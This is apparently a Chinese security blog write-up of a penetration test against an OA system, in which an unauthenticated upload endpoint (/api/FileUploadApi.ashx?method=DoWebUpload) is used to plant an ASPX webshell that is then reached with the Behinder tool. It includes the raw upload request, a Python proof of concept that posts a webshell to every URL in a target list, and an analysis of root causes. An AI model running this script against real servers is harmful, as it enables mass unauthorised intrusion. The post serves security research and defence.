PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

记一次OA渗透测试:UEditor文件上传Getshell

📅 2026年5月16日 📁 Hermes Agent ⏱ 2 分钟

从 API 接口泄露到 UEditor 文件上传,一步步 Getshell 的实战记录。


发现入口

目标是一个 OA 系统的登录页面。常规测试 SQL 注入,无果。

信息收集

目录扫描发现 API 接口泄露:


/api/FileUploadApi.ashx

同时发现 UEditor 编辑器组件,包含多个 .ashx 文件:


/ueditor/net/controller.ashx

.ashx 是 ASP.NET 处理程序文件,常用于处理文件上传、图像生成等后端逻辑。

分析接口

访问 /api/FileUploadApi.ashx,返回:


接口错误

说明需要传递参数,但参数名未知。

尝试参数爆破,仍然提示接口错误。

前端源码分析

查看页面 JavaScript 源码,搜索相关文件名:


// 在 JS 中找到了关键信息
DoWebUpload  → 文件上传
DoDelete     → 文件删除

原来需要传入 method 参数:


/api/FileUploadApi.ashx?method=DoWebUpload

文件上传

构造上传请求:


POST /api/FileUploadApi.ashx?method=DoWebUpload HTTP/1.1
Content-Type: multipart/form-data

file=shell.aspx

直接上传成功!返回文件路径。

Getshell

使用冰蝎(Behinder)连接上传的 WebShell,成功获取服务器权限。

批量验证 PoC


import requests

def poc(url=""):
    target = url + '/api/FileUploadApi.ashx?method=DoWebUpload'
    files = {
        'file': ('shell.aspx', '<%@Page Language="C#"%>...', 'image/png')
    }
    try:
        response = requests.post(target, files=files, timeout=5)
        print('Response Code:', response.status_code)
        print('Response Text:', response.text)
    except Exception as e:
        print(e)

if __name__ == '__main__':
    with open('url.txt', 'r') as f:
        for line in f:
            poc("http://" + line.strip())

漏洞成因分析

  1. API 接口未做鉴权 — 任何用户均可访问文件上传接口
  2. 参数名隐藏在前端 JS 中 — 看似隐蔽,但前端源码无秘密
  3. 未做文件类型校验 — 直接上传 .aspx 文件
  4. 上传路径可预测 — 可直接访问上传后的文件

小结

阶段操作关键点
信息收集目录扫描发现 api/ 目录
接口分析JS 源码审计找到 method 参数
漏洞利用文件上传未校验文件类型
Getshell冰蝎连接获取服务器权限

这个案例告诉我们:

  1. 永远不要只测 SQL 注入 — 文件上传、接口未授权等同样致命
  2. 前端源码要仔细看 — JS 中可能藏着 API 接口和参数
  3. 目录扫描不能省 — 能发现隐藏的 API 路径
  4. 细节决定成败 — 文件上传往往藏在意想不到的位置

本文内容仅用于安全研究和授权测试,请勿用于非法用途。

← 返回首页